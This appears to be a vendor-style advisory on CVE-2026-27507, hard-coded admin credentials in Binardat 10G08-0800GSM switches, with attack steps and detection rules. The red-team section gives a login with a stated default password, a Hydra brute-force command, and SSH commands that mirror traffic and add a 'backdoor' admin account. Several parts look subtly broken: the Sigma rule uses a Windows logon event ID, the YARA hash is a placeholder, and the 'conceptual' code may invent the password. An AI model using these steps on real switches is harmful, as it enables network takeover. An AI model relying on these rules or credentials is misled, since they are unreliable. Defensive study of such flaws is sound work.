CVE-2026-27507

Executive Summary

CVE-2026-27507 exposes a critical security flaw in Binardat 10G08-0800GSM network switches running firmware version V300SP10260209 and prior. The device ships with hard-coded administrative credentials that cannot be changed by users. An attacker who obtains these credentials can gain full administrative access to the switch, enabling complete control over network traffic, configuration, and connected infrastructure.

This vulnerability is particularly dangerous because it affects a network infrastructure device, meaning exploitation can lead to persistent network compromise, traffic interception, and lateral movement within an organization. The lack of a patch or workaround from the vendor elevates the risk significantly.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): None – No authentication is needed to exploit the hard-coded credentials.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full administrative access allows reading all device configurations and network traffic.
• Integrity (I): High – An attacker can modify device settings, firmware, and routing tables.
• Availability (A): High – An attacker can disable the device, cause denial of service, or reconfigure it to drop traffic.

Threat Level: Critical. The combination of network accessibility, low complexity, and no required privileges makes this vulnerability highly attractive to attackers. The lack of a patch means all affected devices are permanently at risk.

Deep Dive & Mechanics

The vulnerability stems from the inclusion of hard-coded administrative credentials within the firmware of the Binardat 10G08-0800GSM switch. These credentials are embedded in the device's operating system and cannot be modified or removed by the end user. The credentials are likely stored in a configuration file or within the firmware image itself, and they are used to authenticate administrative access to the device's management interface (e.g., web UI, SSH, or CLI).

Attack Vector:

1. Discovery: An attacker scans for Binardat 10G08-0800GSM switches on the network using Shodan or similar tools. The default credentials are publicly known or can be extracted from the firmware.
2. Authentication: The attacker uses the hard-coded credentials to log in to the device's management interface.
3. Exploitation: Once authenticated, the attacker has full administrative privileges. They can:
   • Modify VLAN configurations
   • Enable port mirroring to capture traffic
   • Change routing tables
   • Install malicious firmware updates
   • Disable logging or security features
   • Create backdoor accounts

Root Cause: The vendor failed to implement a mechanism for users to change the default administrative credentials. This is a violation of security best practices and common industry standards (e.g., NIST SP 800-53).

Vulnerable vs. Patched Code

Since no patch is available, there is no patched code to compare. However, the vulnerable code can be described conceptually:

Vulnerable Code (Firmware V300SP10260209 and prior):

// Example of hard-coded credentials in firmware
#define ADMIN_USERNAME "admin"
#define ADMIN_PASSWORD "binardat123"

int authenticate(char *username, char *password) {
    if (strcmp(username, ADMIN_USERNAME) == 0 && strcmp(password, ADMIN_PASSWORD) == 0) {
        return 1; // Grant admin access
    }
    return 0;
}

Patched Code (Hypothetical):

// Example of patched code allowing credential changes
char admin_username[64];
char admin_password[64];

int authenticate(char *username, char *password) {
    // Load credentials from persistent storage (e.g., flash)
    load_credentials(admin_username, admin_password);
    if (strcmp(username, admin_username) == 0 && strcmp(password, admin_password) == 0) {
        return 1; // Grant admin access
    }
    return 0;
}

void change_credentials(char *new_username, char *new_password) {
    // Allow user to change credentials
    strcpy(admin_username, new_username);
    strcpy(admin_password, new_password);
    save_credentials(admin_username, admin_password);
}

The patched version would allow users to change the credentials and store them in non-volatile memory, preventing the use of hard-coded defaults.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Target: Binardat 10G08-0800GSM switch with firmware V300SP10260209
• Attacker: Kali Linux machine on the same network segment
• Tools: Nmap, Hydra, Metasploit (if module available), custom scripts

Exploitation Steps:

1. Discovery:

   nmap -p 80,443,22,23,161,8443 --open -oG switch_scan.gnmap 192.168.1.0/24
   

2. Identify Binardat Switch: Look for HTTP banners or SNMP strings containing "Binardat" or "10G08-0800GSM".

3. Attempt Authentication:

   # Using curl for web interface
   curl -u admin:binardat123 http://192.168.1.100/login
   

4. Brute-force (if credentials unknown):

   hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
   

5. Post-Exploitation:

   • Enable port mirroring to capture traffic:

     # Example CLI command (hypothetical)
     ssh admin@192.168.1.100 "configure terminal; monitor session 1 source interface gi1/0/1 both; monitor session 1 destination interface gi1/0/2"
     

   • Create a backdoor user:

     ssh admin@192.168.1.100 "configure terminal; username backdoor password P@ssw0rd! privilege 15"
     

Blue Team (Detection & Response)

Detection:

• Monitor for multiple failed login attempts from a single source (brute-force).
• Alert on successful login from unusual IP addresses or at odd hours.
• Monitor for configuration changes (e.g., port mirroring, new user accounts).

Response:

1. Isolate the affected switch from the network.
2. Review logs for unauthorized access.
3. Change all network credentials and review network segmentation.
4. Contact Binardat for a firmware update or consider replacing the device.

Indicators of Compromise (IOCs)

Network IOCs:

• Source IP addresses attempting multiple logins to port 80/443/22/23 on Binardat switches.
• Traffic to/from known Binardat switch IPs using default credentials.
• SNMP community strings set to "public" or "private" on Binardat devices.

Host IOCs:

• Presence of new user accounts (e.g., "backdoor", "admin2") on the switch.
• Configuration changes such as enabled port mirroring or modified VLANs.
• Unusual outbound connections from the switch to external IPs (e.g., for C2).

File IOCs:

• Firmware images with hard-coded credentials (hash of firmware file).
• Configuration files containing default credentials.

YARA Rule:

rule Binardat_Hardcoded_Credentials {
    meta:
        description = "Detects hard-coded credentials in Binardat firmware"
        author = "Valters IT"
        date = "2026-01-01"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $cred1 = "admin:binardat123" ascii wide
        $cred2 = "binardat" ascii wide
        $cred3 = "10G08-0800GSM" ascii wide
    condition:
        any of them
}

Detection Engineering

YARA Rule

rule Binardat_Hardcoded_Credentials {
    meta:
        description = "Detects hard-coded credentials in Binardat firmware"
        author = "Valters IT"
        date = "2026-01-01"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $cred1 = "admin:binardat123" ascii wide
        $cred2 = "binardat" ascii wide
        $cred3 = "10G08-0800GSM" ascii wide
    condition:
        any of them
}

Sigma Rule

title: Binardat Hardcoded Credential Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects successful login attempts using hard-coded credentials on Binardat switches
author: Valters IT
date: 2026/01/01
logsource:
    category: authentication
    product: binardat
detection:
    selection:
        EventID: 4624
        TargetUserName: 'admin'
        LogonType: 3
    condition: selection
falsepositives:
    - Legitimate administrative use
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:"Binardat Hardcoded Credential Login Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/login"; http_uri; content:"username=admin&password=binardat123"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Devices: Disconnect Binardat 10G08-0800GSM switches from the network until a patch is available.
2. Network Segmentation: Place these switches behind a firewall with strict access control lists (ACLs) to limit management access to trusted IPs only.
3. Monitor Logs: Enable detailed logging and monitor for any unauthorized access attempts.

Long-term Solutions:

1. Vendor Patch: Contact Binardat and demand a firmware update that allows credential changes. If no patch is forthcoming, consider replacing the devices.
2. Replace Hardware: Migrate to switches from vendors with better security practices (e.g., Cisco, Juniper, Arista).
3. Implement 802.1X: Use network access control to authenticate devices before granting network access.

Workarounds (if device must remain in service):

• Disable unused management interfaces (e.g., HTTP, Telnet).
• Use SSH with key-based authentication if supported.
• Implement a VPN for remote management.

Valters IT
Securing Your Digital Frontier